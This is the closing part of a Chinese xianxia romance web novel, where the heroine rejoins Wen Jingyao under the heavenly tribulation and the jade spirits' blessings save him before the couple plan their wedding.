小慕小闻将计就计,目的就是为了放任兰洵去劈山,众山崩塌,玉灵出现,福泽在天神眼里是一团一团的光亮,分布不一定均匀,玉灵去哪里,福泽就在哪里,当这片大陆的福泽低到一定程度,这个世界在天神眼里就等于将死的地方了,天神会出手毁灭一切,小慕和小闻就是要引天神出来,借神明的力量摧毁秽毒和祟种。 等秽毒和祟种摧毁后,玉灵的结界消失,天雷会识别到百姓身上的福泽,是这些山灵们将自己身上的福泽分成一点一点,给了自己庇佑的百姓们,然后在天神眼里,这些百姓就像是一颗颗发光的星星,他们周身的光是福泽,天雷不劈福泽之物,就不会劈百姓。 这时候小慕小闻强行冲破渡劫,利用十二辰和天罡篆,将崩裂的山再聚回去,将被天雷摧毁的花草树木还回来,但小闻境界到了一定程度,天神就会注意到他的业障,天雷就轰下来了。 神没有私情,平时是一个世界的天道来判断是否要杀谁,但是一旦这个世界迎来大灾,那么天神就会亲自降下“眼睛”,劈不劈人就看这人有没有业障,所以兰洵谋戮玉灵也是在夺取它们的福泽掩盖自己的业障,躲避天谴追踪。《 》 【正文完结】 第98章 第 98 章 “我们办一场盛大的婚宴…… 闻惊遥看她转身离开, 朝着远处等候的人奔去,奔向她的家人,她的朋友。 慕夕阙迎着凛冽的风, 觉得这股风像是从雪原吹来的,冲得她双目刺痛, 她在朦胧的视线中看到了朝蕴、慕从晚, 蔺九尘和姜榆,以及师盈虚等人。 她冲向他们,众人中绝大多数不知道闻惊遥为何站在远处不过来, 也不知道为何又有了天雷。 “慕二小姐,圣尊怎么不过来,那雷——” “那雷是劈他的。”慕夕阙打断开口的修士。 修士愣神, 讷讷看向远处修长的人影。 朝蕴忍着泪, 转身道:“撤离, 走!” 慕夕阙跟着人群离开, 快速进境的经脉此刻在刺痛, 磅礴的灵力冲撞她的身体,她忍着痛越走越远,她听着天际的闷雷越发地响。 当快走到琼筵山的时候, 慕夕阙忽然停了下来。 跟在她身侧的蔺九尘也停下,侧目看她:“小夕。” 走在人群最前头的朝蕴不动了, 她背对着慕夕阙, 今日穿着家主服早已被血染透,狼狈得完全不像个家主, 朝蕴没有回头。 众人也都停下,不明所以看着她们。 慕夕阙忽然快跑几步,冲上前从身后搂住朝蕴, 她的侧脸贴着母亲的脊背,这般近的距离,她能清楚感知到朝蕴的颤抖,沉稳的朝家主克制不住地在抖。 慕夕阙一句话没说,她只抱了三息功夫,随后她松开朝蕴,转身朝着来时的方向奔回。 “二小姐!” 弟子们惊惶喊她,可慕夕阙头也不回,而朝蕴也始终未曾发话让人阻拦。 慕从晚低着头,垂在身侧的手在抖,蔺九尘和姜榆不敢去看。 师盈虚焦急道:“怎么不拦啊!你们干什么呢!” 见没有朝蕴的首肯无人敢动,师盈虚一咬牙,提着裙子追去,朝慕夕阙离开的方向跑去。 “大小姐!”师家的弟子赶忙上前阻拦。 “放开!放开我!”师盈虚推搡着他们,可修为不高的她面对众多弟子也无力反抗,她只能求助看向徐无咎,“你拦他们啊,夕阙去了,夕阙去天雷那里了!” 可徐无咎也只是沉默,垂首不看她。 慕夕阙的身影已快消失,师盈虚惊恐喊道:“夕阙,你回来,你回来!” 她的话音刚落,眼前有人冲出,师盈虚被泪水模糊的视线中看清了那一抹赤金衣摆,是慕家的家主服。 朝蕴冲出去,一身破烂的华裳在风中乱舞,她用了所有灵力奔向慕夕阙。 “小夕——小夕!” 可只是元婴境的她,又怎么追得上已入渡劫的女儿。 朝蕴声嘶竭力:“小夕——” 她摔倒在地,磕得满手是血,却连停也不敢停,奔向慕夕阙离开的方向,可眼前已经找不到慕夕阙的影子。 那团花丛已被狂风吹到倒塌,闻惊遥安静站在天雷下,仰头望着已聚成形状的天雷,以及天雷之后,那双深邃的眼睛。 他前世崩裂所有地脉,让十二辰涅槃回溯,杀业颇重,当他迈入渡劫的刹那,天神便锁定了他的位置。 闻惊遥并不觉得恐惧,他望向那双眼睛,目光甚至称得上温和,喜欢的姑娘已经不在这里了,瞧不见他被劈成齑粉的模样,他在她的心里总还是这幅囫囵模样,是她喜欢的皮相。 人之将死,闻惊遥反而并未有什么感慨,只觉得愧疚于母亲,以及略有些遗憾,没能多陪慕夕阙走走这片大陆。 他叹了声气,闭上眼,等着天雷落下,在静心等候的这段时间,他听到沉闷雷鸣,风吹而过的呼啸声,以及—— 以及一声清脆的呼唤。 “闻惊遥!” 有那么一瞬间,闻惊遥以为自己在做梦。 他转身看去,高坡之上冒出来个熟悉的人,红衣猎猎,马尾高束,眉目仍旧如过去般明艳,无论何时何事,慕二小姐眼底的坚韧从未褪去过半分。 她纵身跃下山坡,闻惊遥下意识瞬移上前接住她,慕夕阙跌进他的怀里。 比她的气息更先感知到的,是他自己如雷似鼓的心跳。 “夕阙?”闻惊遥眉心紧蹙,反应过来,旋即推她,“走,天雷要落了!” 慕夕阙却站得极稳,她咧嘴一笑,没心没肺的样子。 “我没办法不回头,若我这次走了怕是要后悔一辈子了,闻惊遥,我还有一枚金龙的龙鳞,我们赌一次。” 慕夕阙握住他的手,死死攥住:“赌一次,天谴十三道雷,赌我们能活。” 闻惊遥分毫不想跟她赌,他推着她:“快走,现在不是逞意气的时候!” 这是慕夕阙第一次听到闻惊遥用这种略有些生气的语气说话,她却不管不顾,已经抬手寄出金龙的龙鳞。 硕大龙鳞足够遮天,两人站在龙鳞之下,金光落在她的侧脸,削弱了些锐利,增添了几分温和。 闻惊遥侧目看着她,忽然便笑了起来。 他俯身抱紧她,埋进她的脖颈间,低声道:“我一直觉得,你也是天神赐予我的福泽,只属于我一个人的福泽。” 第一道天雷落下,砸在金龙坚硬的龙鳞上,可抵御渡劫修士杀招的龙鳞顷刻间爬上裂纹。 第二道天雷落下,龙鳞爬上了十几道裂纹。 第三道天雷落下,龙鳞碎了一半。 强行进境,慕夕阙浑身的经脉刺痛,闻惊遥也同样如此,两人调动灵力撑住鳞片,可也只能撑到第六道。 这一次,龙鳞破碎。 慕夕阙呕出一口血,闻惊遥旋身挡在她身前,将她搂进怀里,趁她不备封了她的穴位。 “夕阙,我好舍不得你,但这样就已经够了。” 慕夕阙仰头威胁:“闻惊遥,你敢!” 少年抬手推掌,一掌击打在她的肩头,将她掷出百丈远,视线迅速远离的刹那,慕夕阙看到又一道天雷劈落,这一次,没有龙鳞的抵挡,它精准砸向闻惊遥。 慕夕阙瞳眸微颤,怒声骂道:“混账!你混蛋!” 少年的青衫在狂风中飘舞,一个高挑的少年在人修当众是醒目的,可在粗如天柱的天雷中,他渺小到无法比及。 紫色天雷蜿蜒冲去,那双隐匿在云层之后的双目中奔涌着山川河流,睥睨这个满身业障的人迎接降落的天雷。 雷光撞击,轰然炸开,卷起满地泥土尘沙,遮住了慕夕阙的眼睛,她只觉得眼前刺亮,在那股强大的光中,她好像看到了闻惊遥飘扬的青衫。 “闻惊遥!” “闻少主!” 慕夕阙竭力的呼喊和匆匆奔来的修士们惊恐的尖叫混在一起。 尘埃散去,慕夕阙跌在地上,被赶来的师盈虚扶起,她并未落泪,只是怔然望着远处的山坡底。 “……是玄武的背甲?” 一枚硕大的龟壳竖立在闻惊遥身前,他回身看着高耸坚硬的背甲,这枚背甲穿过万里从遥远海边而来,是玄武用仅剩的灵力掷来的盔甲。 而与此同时,莹莹点点的光亮从四面八方飞来,赤色,金色,青色,绛紫,云蓝……不同的光,来自不同的玉灵。 这些虚弱的玉灵如今重伤,可却从这片大陆的每一个地方,向淞溪地界送去了自己仅剩不多的福泽。 一个人的业障压过福泽便会遭到天谴,闻惊遥上辈子的杀业留下的业障,上百只玉灵用自己的福泽去填。 投以木瓜,报以琼琚。 慕夕阙和闻惊遥为这片大陆换来了再来一次的机会,助这些玉灵抵御了灭世大灾,那么无论是不是自己庇佑的子民,玉灵们都会竭力赠予自己的福泽,助他度过天谴。 悬在虚空中的天雷还剩六道,可此刻只听见闷重的雷声,随着点点荧光涌进闻惊遥体内,雷声越来越小。 在天神的眼里,这个周身业障的人正在褪去黑暗,变得光亮起来,从八方汇来的亮光驱逐了他身上的冥秽,盖住了满身的业障。 这太奇怪了,一个人的身上竟然有这么多不同的福泽,来自不同的山灵。 天神赐予世间的福泽,共同庇佑了一个人,这个人到底是罪孽深重,还是功德无量? 神的眼睛仍在看,在犹豫要不要劈下剩下的雷,可下一瞬,耳畔传来了不同的声音,异口同声。 “其心之良善,扶危济困,功过相抵,愿神宥其罪业。” 造世的神手中诞生了无数小世界,这是第一次遇到这般多的福泽之灵为一人求情,亲手赐予人间的福泽,由一团团散成了点点星光,星光聚成了烽火苍生。 云层后的那双眼睛似乎闭了闭,随后,渐渐隐匿。 笼罩了一整夜的浓云消散,一缕日光从云后扫进来,直射在广袤大地上,源源不断的清风吹过,掠过十三州和海外仙岛,令枝叶簌簌,海水凛凛。 这是天神降下的清风,风中裹挟的,是再次赐予人间的福泽,这一次,均匀地赐予了每一个被风拂过的生灵。 闻惊遥走上来,他踩着山坡向上,慕夕阙站在坡顶,看他逐渐改走为跑,越跑越快,天光照亮一切,烈日高悬,少年冲过来,将慕夕阙抱进怀里。 他低头,鼻梁抵着她的颈窝。 “夕阙,夕阙……” 众人还来不及松一口气,听到一声惊呼,慌乱看去,蔺九尘撑着闻惊遥,师盈虚扶着慕夕阙,两人早已昏厥过去,面色苍白。 朝蕴惊惶道:“是经脉!快速进境,经脉承受不住这么强大的灵力!” 刚平息下来的局面又乱了起来,朝蕴慌得心神不稳,刚要喊医修过来,慕从晚走上前来:“阿娘,我来吧。” 朝蕴怔愣:“你怎么能治?” 慕从晚道:“我可以帮他们引出多余的灵力。” 她顿了顿,说道:“我对灵力的感知比小夕和闻少主都要强,我可以感知每一缕躁乱的灵力,将它们引出来。” 这话若是旁人说,未免过于自大。 可这是慕大小姐,出生便能引气的人,天资旷世难见,刚接上灵根不过几月,便已经要入元婴境了,实乃奇才中的奇才。 慕从晚弯起唇,笑道:“阿娘,您放心,您不用再担心了,一切都会过去的。” 苦难都会过去,清明的时代已经来了- “金龙!” 姜榆捧着一颗被砸出来的果子,捂住自己被砸得生疼的脸,冲着山谷底怒吼。 金龙今日又出来飞了一圈,尽兴后便又回了自己的老巢。 它往往缩在里面睡觉,自打前些时日匡恶果树结果,果子都被金龙卷进了谷里自己霸占,慕家弟子想吃一口匡恶果,得好声好气喊一声,这条龙还得看心情决定给不给。 金龙摆了摆尾,扇出利风,险些将姜榆吹走几里地。 小姑娘站稳身子,恶狠狠咬了一口匡恶果,刚想扭头离开,几颗果子从身后砸来,不轻不重砸在她的后脑勺。 姜榆捂着脑袋回头,见地上掉了不少匡恶果,她的眉梢一挑,捡起果子嘀嘀咕咕说:“今日怎么这么大方。” 她抱着果子下山,洗干净后给朝蕴和蔺九尘各送了几颗,又去找了慕夕阙。 一推开门,没瞧见慕二小姐的人影,姜榆自言自语嘀咕:“又去哪里了?” 找了一圈不见人,姜榆将果子搁在桌上,转身关门,以为慕夕阙又是去历练台修炼了。 她这位师姐是个十足的卷王,自打重伤醒来后境界大跌,跌到了化神初境,连强行进境前的境界都不如后,备受打击,俨然接受不了,刚能下床跑便去练剑,一日能被慕家弟子们撵回来几次。 姜榆磨拳擦肘准备去历练台逮人。 察觉她走远,树上的慕夕阙“啧”了一声,她斜靠着树杈,抬手用灵力卷来果子咬了一口,入口还是熟悉的辛辣和苦涩,对淞溪慕家的弟子来说,都已吃成习惯了。 不见姜榆无他,只因这丫头肩负监督慕二小姐喝药的职责,一日三顿顿顿不落,那温养经脉的汤药还贼苦,苦得慕二小姐尝一口便觉得此生无望了,日子一眼就能看到头一般。 这药她要喝上一年,以至于慕夕阙现在看见姜榆,便觉得舌尖冒出苦涩滋味,让她避之不及,恨不得跑得远远的,但朝蕴又下令她不能出山。 慕夕阙嘎嘣嘎嘣咬着果子。 秽毒和祟种死在了天谴之下,不知这世界未来还会不会有别的磨难,但最起码几千年内天下太平,不必镇压秽毒,玉灵也不用将自己禁锢在山内,可以四处乱飞,走走看看。 没有天灾,没有秽毒和祟种,玉灵出城都无人管,不过它们大多也就是出去走上几日,玩够了就又回来。 慕夕阙如今倒反而被禁足了,自打三月前醒来后,她便没出过琼筵山,朝蕴生怕她如今重伤未愈,出点什么事。 闻惊遥至今未醒,他受过的伤太多,根骨损了些。 慕夕阙昨日传过去的信,庄漪禾回复的。 没闻少主整日黏着她,慕夕阙还略有些不适应,她躺在树上吃了几颗果子,见霞光已经铺了漫天,约莫一会儿姜榆便来催她喝药了。 慕夕阙收拾了一下,翻身便要下树。 目光触及树下,瞧见不知何时出现的少年后,她撑在树干上的手无意识攥紧,喉口滚了滚,长睫扑闪,竟觉得恍如隔世。 闻惊遥瘦了很多,高挑的少年眉目仍旧清俊,脸色略显苍白,他负手而立,仰头看着坐在树杈上的慕夕阙。 “夕阙。” 慕夕阙忽然没由来地笑了下,歪歪脑袋看着闻惊遥:“好久不见,闻大少爷。” 闻惊遥也笑,眸光柔和:“好久不见,慕二小姐。” 慕夕阙纵身跃下,脚下轻快,忽然觉得此刻装在这具躯壳里的并非一百多岁的慕夕阙,前世的事情好似只是一场幻梦,过去的终将过去。 她走向闻惊遥,越走越快,像一只灵蝶般扑进他的怀里。 慕夕阙在他怀里仰起头:“想不想我?你做了个好长的梦,梦里是不是有我?” 闻惊遥身上还有苦涩的药味,他抱紧她,青衫和红衣交织在一起,闻少主揽住她的腰身,将人提起,抱着她转了一圈。 慕夕阙笑得格外轻快,拍了拍他的肩膀:“够了够了,你都没说呢!” 闻惊遥罕见地有些少年稚气,他捧住她的脸,在她的额头、柳眉、凤目以及小巧的鼻头和红唇上落下一个个细密的吻。 最后,两人额头相抵,少年眼尾弯弯。 “我做了一个很长的梦,梦里有爹娘,有青鸾,有东浔,有我的夕阙,有我喜欢的这天下。” 闻惊遥偏头亲吻慕夕阙的唇,轻轻一啄,他笑着说:“梦醒了,我就来找你了。” 慕夕阙牵住他的手,拉着他往外走,她回头对他眨了眨眼,眸光狡黠:“你来得正好,我们下山去玩,等我娘问了,我就说是你把我带下去的。” 她歪歪脑袋,理直气壮说:“反正小时候咱俩捣乱打架,我娘不揍你,老揍我,你爹娘也不揍我,老揍你。” 闻惊遥颔首道:“好。” 两人牵手下山,抄了小路,红衣和青衫很快消失在山林中。 山顶之上,慕从晚问道:“阿娘,不是不让小夕出山吗?” 朝蕴笑吟吟道:“去吧,去看看这世间。” 她侧眸看向慕从晚,摸了摸女儿的头,温声道:“阿娘希望,你也去看看这世间,山海清明,万世太平,这是你们年轻人应该去闯的天下。” 慕夕阙和闻惊遥牵着手,两人从林中走出,迎着耀眼霞光,走向繁荣兴旺* 的淞溪主城,走向属于他们的未来。 到了城中,慕夕阙指着远处的成衣铺。 “还记得你曾经送我的鲛绡吗,刚穿便破了,给我买身新衣裳。” 闻惊遥笑着应道:“好,买很多很多件。” 琼筵山仍旧枝繁叶茂,灵鸟绕山盘旋,再往远处,群山连绵,云雾缭绕,时常能见到玉灵出山,或腾飞虚空,或驰骋陆地,或畅游海域。 这一次没有天灾,这片大陆岁丰年稔,家殷人足。 “闻惊遥,等到夏季花开,枝叶翠绿的时候,我们就办婚宴吧,我们办一场盛大的婚宴。” “好,夕阙。” 作者有话说:正文完结!!!《 》